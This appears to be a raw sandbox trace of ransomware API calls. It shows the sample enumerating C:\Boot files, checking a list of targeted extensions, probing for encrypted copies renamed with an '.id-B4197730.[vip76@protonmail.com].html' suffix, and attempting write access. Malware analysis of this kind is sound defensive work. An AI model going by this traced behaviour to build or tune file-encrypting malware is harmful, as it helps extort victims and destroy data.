	[0166.548] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.548] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.548] lstrlenW (lpString=".zip") returned 4
	[0166.548] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.548] lstrlenW (lpString=".rar") returned 4
	[0166.548] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.548] lstrlenW (lpString=".bz2") returned 4
	[0166.548] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.548] lstrlenW (lpString=".7z") returned 3
	[0166.548] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.548] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.549] lstrlenW (lpString=".dbf") returned 4
	[0166.549] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.549] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.549] lstrlenW (lpString=".1cd") returned 4
	[0166.549] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.549] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0166.549] lstrlenW (lpString=".jpg") returned 4
	[0166.549] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.549] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0166.549] lstrlenW (lpString="bootvhd.dll") returned 11
	[0166.549] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0166.550] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=99744) returned 1
	[0166.550] CloseHandle (hObject=0x390) returned 1
	[0166.550] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20
	[0166.550] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.550] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.550] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.550] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.550] lstrlenW (lpString=".doc") returned 4
	[0166.550] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.550] lstrlenW (lpString=".docx") returned 5
	[0166.550] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0166.550] lstrlenW (lpString=".pdf") returned 4
	[0166.550] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.550] lstrlenW (lpString=".xls") returned 4
	[0166.550] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.550] lstrlenW (lpString=".xlsx") returned 5
	[0166.551] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0166.551] lstrlenW (lpString=".ppt") returned 4
	[0166.551] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.551] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.551] lstrlenW (lpString=".zip") returned 4
	[0166.551] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.551] lstrlenW (lpString=".rar") returned 4
	[0166.551] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.551] lstrlenW (lpString=".bz2") returned 4
	[0166.551] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.551] lstrlenW (lpString=".7z") returned 3
	[0166.551] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.551] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.551] lstrlenW (lpString=".dbf") returned 4
	[0166.551] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.551] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.551] lstrlenW (lpString=".1cd") returned 4
	[0166.551] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.551] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.551] lstrlenW (lpString=".jpg") returned 4
	[0166.551] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.551] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.551] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.551] lstrlenW (lpString=".doc") returned 4
	[0166.552] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0166.552] lstrlenW (lpString=".docx") returned 5
	[0166.552] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0166.552] lstrlenW (lpString=".pdf") returned 4
	[0166.552] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0166.552] lstrlenW (lpString=".xls") returned 4
	[0166.552] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0166.552] lstrlenW (lpString=".xlsx") returned 5
	[0166.552] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0166.552] lstrlenW (lpString=".ppt") returned 4
	[0166.552] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0166.552] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.552] lstrlenW (lpString=".zip") returned 4
	[0166.552] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0166.552] lstrlenW (lpString=".rar") returned 4
	[0166.552] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0166.552] lstrlenW (lpString=".bz2") returned 4
	[0166.552] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0166.552] lstrlenW (lpString=".7z") returned 3
	[0166.552] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0166.552] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.552] lstrlenW (lpString=".dbf") returned 4
	[0166.552] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0166.552] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.552] lstrlenW (lpString=".1cd") returned 4
	[0166.553] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0166.553] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19
	[0166.553] lstrlenW (lpString=".jpg") returned 4
	[0166.553] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0166.553] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0166.553] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0166.553] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0166.553] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=76632) returned 1
	[0166.553] CloseHandle (hObject=0x390) returned 1
	[0166.554] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20
	[0166.554] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.554] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.554] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0166.554] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0166.554] lstrlenW (lpString=".doc") returned 4
	[0166.554] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.554] lstrlenW (lpString=".docx") returned 5
	[0166.554] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.554] lstrlenW (lpString=".pdf") returned 4
	[0166.554] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.554] lstrlenW (lpString=".xls") returned 4
	[0166.554] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0166.554] lstrlenW (lpString=".xlsx") returned 5
	[0166.554] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0166.554] lstrlenW (lpString=".ppt") returned 4
	[0166.554] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.555] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0166.555] lstrlenW (lpString=".zip") returned 4
	[0166.555] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0166.555] lstrlenW (lpString=".rar") returned 4
	[0166.555] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.555] lstrlenW (lpString=".bz2") returned 4
	[0166.555] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.555] lstrlenW (lpString=".7z") returned 3
	[0166.555] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.555] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29
	[0166.555] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0166.555] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0166.556] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=45472) returned 1
	[0166.556] CloseHandle (hObject=0x390) returned 1
	[0166.556] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20
	[0166.556] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.556] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.556] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0166.556] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0166.557] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=75616) returned 1
	[0166.557] CloseHandle (hObject=0x390) returned 1
	[0166.557] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20
	[0166.557] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.557] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.557] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0166.558] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0166.558] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=45472) returned 1
	[0166.558] CloseHandle (hObject=0x390) returned 1
	[0166.558] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20
	[0166.558] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.558] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.559] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0166.570] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0166.571] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=79200) returned 1
	[0166.571] CloseHandle (hObject=0x390) returned 1
	[0166.571] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui")) returned 0x20
	[0166.571] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.572] CreateFileW (lpFileName="C:\\Boot\\de-DE\\bootmgr.exe.mui" (normalized: "c:\\boot\\de-de\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.572] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0166.572] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0166.572] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=45984) returned 1
	[0166.573] CloseHandle (hObject=0x390) returned 1
	[0166.573] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui")) returned 0x20
	[0166.573] GetFileAttributesW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\de-de\\memtest.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.573] CreateFileW (lpFileName="C:\\Boot\\de-DE\\memtest.exe.mui" (normalized: "c:\\boot\\de-de\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.573] Sleep (dwMilliseconds=0x64) 
	[0166.947] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0166.947] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0166.947] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0
	[0166.948] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=80224) returned 1
	[0166.948] CloseHandle (hObject=0x3c0) returned 1
	[0166.948] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui")) returned 0x20
	[0166.948] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.948] CreateFileW (lpFileName="C:\\Boot\\el-GR\\bootmgr.exe.mui" (normalized: "c:\\boot\\el-gr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.948] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.948] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.949] lstrlenW (lpString=".doc") returned 4
	[0166.949] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.949] lstrlenW (lpString=".docx") returned 5
	[0166.949] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.949] lstrlenW (lpString=".pdf") returned 4
	[0166.949] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.949] lstrlenW (lpString=".xls") returned 4
	[0166.949] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0166.949] lstrlenW (lpString=".xlsx") returned 5
	[0166.949] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0166.949] lstrlenW (lpString=".ppt") returned 4
	[0166.949] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.949] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.949] lstrlenW (lpString=".zip") returned 4
	[0166.949] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0166.949] lstrlenW (lpString=".rar") returned 4
	[0166.949] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.949] lstrlenW (lpString=".bz2") returned 4
	[0166.949] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.949] lstrlenW (lpString=".7z") returned 3
	[0166.949] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.949] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.949] lstrlenW (lpString=".dbf") returned 4
	[0166.949] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.949] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.950] lstrlenW (lpString=".1cd") returned 4
	[0166.950] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.950] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.950] lstrlenW (lpString=".jpg") returned 4
	[0166.950] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.950] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.950] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.950] lstrlenW (lpString=".doc") returned 4
	[0166.950] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.950] lstrlenW (lpString=".docx") returned 5
	[0166.950] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.950] lstrlenW (lpString=".pdf") returned 4
	[0166.950] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.950] lstrlenW (lpString=".xls") returned 4
	[0166.950] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0166.950] lstrlenW (lpString=".xlsx") returned 5
	[0166.950] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0166.950] lstrlenW (lpString=".ppt") returned 4
	[0166.950] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.950] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.950] lstrlenW (lpString=".zip") returned 4
	[0166.950] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0166.950] lstrlenW (lpString=".rar") returned 4
	[0166.950] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.950] lstrlenW (lpString=".bz2") returned 4
	[0166.950] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.951] lstrlenW (lpString=".7z") returned 3
	[0166.951] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.951] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.951] lstrlenW (lpString=".dbf") returned 4
	[0166.951] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.951] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.951] lstrlenW (lpString=".1cd") returned 4
	[0166.951] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.951] lstrlenW (lpString="C:\\Boot\\el-GR\\bootmgr.exe.mui") returned 29
	[0166.951] lstrlenW (lpString=".jpg") returned 4
	[0166.951] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.951] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0166.951] lstrlenW (lpString="memtest.exe.mui") returned 15
	[0166.951] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0
	[0166.952] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=46496) returned 1
	[0166.952] CloseHandle (hObject=0x3c0) returned 1
	[0166.952] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui")) returned 0x20
	[0166.952] GetFileAttributesW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0166.952] CreateFileW (lpFileName="C:\\Boot\\el-GR\\memtest.exe.mui" (normalized: "c:\\boot\\el-gr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0166.952] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.952] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.952] lstrlenW (lpString=".doc") returned 4
	[0166.952] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.952] lstrlenW (lpString=".docx") returned 5
	[0166.952] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.952] lstrlenW (lpString=".pdf") returned 4
	[0166.952] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.952] lstrlenW (lpString=".xls") returned 4
	[0166.952] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0166.952] lstrlenW (lpString=".xlsx") returned 5
	[0166.952] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0166.953] lstrlenW (lpString=".ppt") returned 4
	[0166.953] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.953] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.953] lstrlenW (lpString=".zip") returned 4
	[0166.953] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0166.953] lstrlenW (lpString=".rar") returned 4
	[0166.953] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.953] lstrlenW (lpString=".bz2") returned 4
	[0166.953] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.953] lstrlenW (lpString=".7z") returned 3
	[0166.953] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.953] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.953] lstrlenW (lpString=".dbf") returned 4
	[0166.953] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.953] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.953] lstrlenW (lpString=".1cd") returned 4
	[0166.953] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.953] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.953] lstrlenW (lpString=".jpg") returned 4
	[0166.953] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.953] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.953] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.953] lstrlenW (lpString=".doc") returned 4
	[0166.953] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0166.953] lstrlenW (lpString=".docx") returned 5
	[0166.953] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0166.954] lstrlenW (lpString=".pdf") returned 4
	[0166.954] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0166.954] lstrlenW (lpString=".xls") returned 4
	[0166.954] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0166.954] lstrlenW (lpString=".xlsx") returned 5
	[0166.954] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0166.954] lstrlenW (lpString=".ppt") returned 4
	[0166.954] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0166.954] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.954] lstrlenW (lpString=".zip") returned 4
	[0166.954] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0166.954] lstrlenW (lpString=".rar") returned 4
	[0166.954] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0166.954] lstrlenW (lpString=".bz2") returned 4
	[0166.954] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0166.954] lstrlenW (lpString=".7z") returned 3
	[0166.954] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0166.954] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.954] lstrlenW (lpString=".dbf") returned 4
	[0166.954] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0166.954] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.954] lstrlenW (lpString=".1cd") returned 4
	[0166.954] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0166.954] lstrlenW (lpString="C:\\Boot\\el-GR\\memtest.exe.mui") returned 29
	[0166.954] lstrlenW (lpString=".jpg") returned 4
	[0166.954] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0166.955] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1
	[0166.955] lstrlenW (lpString="bootmgr.exe.mui") returned 15
